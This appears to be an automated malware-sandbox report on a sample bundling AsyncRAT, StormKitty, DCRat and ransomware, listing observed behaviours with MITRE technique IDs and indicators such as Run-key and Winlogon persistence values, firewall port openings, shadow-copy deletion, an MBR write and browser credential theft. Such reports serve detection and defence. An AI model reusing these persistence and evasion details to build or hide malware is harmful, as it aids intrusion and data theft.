asyncrat | 67c12eda1cc8358e06ef29eabf1542bf68db9da45df65c52d0ac03246bf75e03

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Sub\\Client.exe"	Client.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe\""	57ccb6f0bd910fed428761828ae93553.exe

Modifies firewall policy service 3 TTPs 4 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List	wowmgr.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\1022:TCP = "1022:TCP:*:Enabled:Microsoft Secutiry Center"	wowmgr.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet002\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List	wowmgr.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet002\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\1022:TCP = "1022:TCP:*:Enabled:Microsoft Secutiry Center"	wowmgr.exe

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2556	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2568	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2580	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2584	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2088	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2152	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2252	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2116	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1796	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1768	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1660	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1140	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1108	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2080	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1400	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2100	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	992	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1704	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	668	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	908	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2016	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2212	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1908	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2744	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	876	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1620	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2560	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2380	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2060	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2120	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1336	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2596	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2208	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1960	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2032	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	780	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	760	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1756	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2756	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1332	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	320	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2828	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1748	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3048	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1164	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	236	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2852	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2244	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1760	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2240	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2008	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3100	2368	schtasks.exe	53
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3116	2368	schtasks.exe	53

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000016be6-20.dat	family_stormkitty
behavioral1/memory/2648-56-0x0000000000EE0000-0x0000000000F12000-memory.dmp	family_stormkitty

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0007000000016be6-20.dat	family_asyncrat

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

DCRat payload 6 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x00070000000169f5-16.dat	dcrat
behavioral1/memory/2688-63-0x0000000000120000-0x00000000001F6000-memory.dmp	dcrat
behavioral1/files/0x0005000000019214-65.dat	dcrat
behavioral1/memory/1484-150-0x00000000000A0000-0x0000000000176000-memory.dmp	dcrat
behavioral1/memory/3956-1370-0x00000000012A0000-0x0000000001376000-memory.dmp	dcrat
behavioral1/memory/1724-1471-0x00000000003A0000-0x0000000000476000-memory.dmp	dcrat

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (284) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Disables Task Manager via registry modification
evasion

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\DRIVERS\atmarph.sys	BTZ.exe
File created	C:\Windows\SysWOW64\DRIVERS\wimhount.sys	938b92958ded4d50a357d22eddf141ad.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Modifies Windows Firewall 2 TTPs 3 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4060	netsh.exe
1428	netsh.exe
1088	netsh.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\JOQJQLY-DECRYPT.txt	wermgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\288d59fa288d5e1852.lock	wermgr.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\20006afb0ec33f2e48c8c1f17d4d3382.exe	server.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\20006afb0ec33f2e48c8c1f17d4d3382.exe	server.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\619680d438aded33a3114805b64591c9.exe	svhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\619680d438aded33a3114805b64591c9.exe	svhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\JOQJQLY-DECRYPT.txt	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Executes dropped EXE 45 IoCs

pid	Process
2772	2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
2648	7f1630df6b57af024a3b561bdadc208f.exe
2688	5e710462c65fe899466e4fb7c1e33c9a.exe
2856	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
1716	34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
2720	57ccb6f0bd910fed428761828ae93553.exe
2288	70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
1484	73c1c41b9e71c48e752a5cd19fe808b6.exe
2892	75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
2336	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
860	938b92958ded4d50a357d22eddf141ad.exe
1388	172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
1696	a6a1abaf12a28ea8f6553356c3bdcf57.exe
1820	BTZ.exe
2916	Cat.exe
2936	Client.exe
1604	Darkest Dungeon setub.exe
1532	evil.exe
868	fwclt.exe
3012	Gandcrab5.0.3.exe
2328	Happy18.exe
2260	kosomk.exe
1916	LightNeuronX0.exe
2684	malecus.exe
2668	see7.exe
2956	TEST.exe
2912	vbc.exe
960	virus.jk.exe
3332	evil.exe
3176	server.exe
1996	dicsord.exe
3372	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
3416	svhost.exe
3584	fwclt.exe
3736	cbgsujmwws.exe
3820	cbgsujmwws.exe
1724	WmiPrvSE.exe
3956	57ccb6f0bd910fed428761828ae93553.exe
2832	Microsoft To Do.exe
3092	see7.exe
3652	see7.exe
3464	see7.exe
2244	see7.exe
1104	see7.exe
3464	wowmgr.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WOWManager	BTZ.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WOWManager\ = "Service"	BTZ.exe

Loads dropped DLL 58 IoCs

pid	Process
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1820	BTZ.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1976	クラック.exe
1532	evil.exe
3484	WerFault.exe
3484	WerFault.exe
3484	WerFault.exe
3484	WerFault.exe
2856	31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
2260	kosomk.exe
1604	Darkest Dungeon setub.exe
860	938b92958ded4d50a357d22eddf141ad.exe
860	938b92958ded4d50a357d22eddf141ad.exe
3484	WerFault.exe
2912	vbc.exe
3736	cbgsujmwws.exe
112	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0005000000019371-109.dat	upx
behavioral1/memory/1388-118-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1388-285-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1388-1160-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1388-1234-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1388-1397-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1388-1453-0x0000000000400000-0x000000000048A000-memory.dmp	upx
behavioral1/memory/1388-1719-0x0000000000400000-0x000000000048A000-memory.dmp	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x00050000000193f0-157.dat	vmprotect

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	cbgsujmwws.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	cbgsujmwws.exe
Key opened	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	cbgsujmwws.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c = "\"C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe\""	57ccb6f0bd910fed428761828ae93553.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\20006afb0ec33f2e48c8c1f17d4d3382 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\server.exe\" .."	server.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\Sub\\WatchDog.exe"	Client.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Roaming\\DriverrHub\\Microsoft To Do.exe\""	TEST.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\619680d438aded33a3114805b64591c9 = "\"C:\\Users\\Admin\\AppData\\Roaming\\svhost.exe\" .."	svhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c = "\"C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe\""	57ccb6f0bd910fed428761828ae93553.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Adobe = "C:\\Program Files (x86)\\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\20006afb0ec33f2e48c8c1f17d4d3382 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\server.exe\" .."	server.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\619680d438aded33a3114805b64591c9 = "\"C:\\Users\\Admin\\AppData\\Roaming\\svhost.exe\" .."	svhost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\7a658b5bb64d41978cdcfc1ed6f3812b\Admin@NNYJZAHP_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	7f1630df6b57af024a3b561bdadc208f.exe
File created	C:\Users\Admin\AppData\Local\7a658b5bb64d41978cdcfc1ed6f3812b\Admin@NNYJZAHP_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	7f1630df6b57af024a3b561bdadc208f.exe
File opened for modification	C:\Users\Admin\AppData\Local\7a658b5bb64d41978cdcfc1ed6f3812b\Admin@NNYJZAHP_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	7f1630df6b57af024a3b561bdadc208f.exe
File created	C:\Users\Admin\AppData\Local\7a658b5bb64d41978cdcfc1ed6f3812b\Admin@NNYJZAHP_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	7f1630df6b57af024a3b561bdadc208f.exe
File created	C:\Users\Admin\AppData\Local\7a658b5bb64d41978cdcfc1ed6f3812b\Admin@NNYJZAHP_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	7f1630df6b57af024a3b561bdadc208f.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	wermgr.exe
File opened (read-only)	\??\E:	wermgr.exe
File opened (read-only)	\??\H:	wermgr.exe
File opened (read-only)	\??\O:	wermgr.exe
File opened (read-only)	\??\P:	wermgr.exe
File opened (read-only)	\??\N:	wermgr.exe
File opened (read-only)	\??\Q:	wermgr.exe
File opened (read-only)	\??\R:	wermgr.exe
File opened (read-only)	\??\S:	wermgr.exe
File opened (read-only)	\??\B:	wermgr.exe
File opened (read-only)	\??\I:	wermgr.exe
File opened (read-only)	\??\K:	wermgr.exe
File opened (read-only)	\??\L:	wermgr.exe
File opened (read-only)	\??\Y:	wermgr.exe
File opened (read-only)	\??\X:	mountvol.exe
File opened (read-only)	\??\X:	wermgr.exe
File opened (read-only)	\??\A:	wermgr.exe
File opened (read-only)	\??\J:	wermgr.exe
File opened (read-only)	\??\M:	wermgr.exe
File opened (read-only)	\??\V:	wermgr.exe
File opened (read-only)	\??\G:	wermgr.exe
File opened (read-only)	\??\T:	wermgr.exe
File opened (read-only)	\??\W:	wermgr.exe
File opened (read-only)	\??\Z:	wermgr.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
79	discord.com
81	discord.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	malecus.exe

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	server.exe
File opened for modification	C:\autorun.inf	server.exe
File created	D:\autorun.inf	server.exe
File created	F:\autorun.inf	server.exe
File opened for modification	F:\autorun.inf	server.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\winview.ocx	938b92958ded4d50a357d22eddf141ad.exe
File created	\??\c:\Windows\System32\CSCCEE7A168266D4557921FB369C4A65ED.TMP	csc.exe
File opened for modification	C:\Windows\SysWOW64\winview.ocx	BTZ.exe
File created	C:\Windows\SysWOW64\Ska.exe	Happy18.exe
File opened for modification	C:\Windows\SysWOW64\Ska.exe	Happy18.exe
File created	C:\Windows\SysWOW64\Ska.dll	Happy18.exe
File created	C:\Windows\SysWOW64\wsock32.ska	Happy18.exe
File opened for modification	C:\Windows\SysWOW64\wmmini.swp	wowmgr.exe
File opened for modification	C:\Windows\SysWOW64\wsock32.dll	Happy18.exe
File opened for modification	C:\Windows\SysWOW64\winview.ocx	938b92958ded4d50a357d22eddf141ad.exe
File created	C:\Windows\SysWOW64\wowmgr.exe	BTZ.exe
File created	\??\c:\Windows\System32\8wawgv.exe	csc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\pidor.bmp"	wermgr.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2336 set thread context of 3372	2336	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe	149
PID 3736 set thread context of 3820	3736	cbgsujmwws.exe	158

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\System\msadc\fr-FR\msdaprsr.dll.mui	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-templates.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rss_headline_glow_floating.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File created	C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe	クラック.exe
File opened for modification	C:\Program Files\Common Files\System\msadc\it-IT\msadcer.dll.mui	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\novelty_s.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15133_.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File created	C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe	クラック.exe
File created	C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe	57ccb6f0bd910fed428761828ae93553.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\whiteband.png	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\ant-javafx.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\J0143758.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14533_.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-print.xml	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\it-IT\gadget.xml	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\es-419.pak	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD14768_.GIF	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\gadget.xml	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\core_ja.jar	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
File opened for modification	C:\Program Files (x86)\Windows NT\TableTextService\TableTextServiceYi.txt	78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
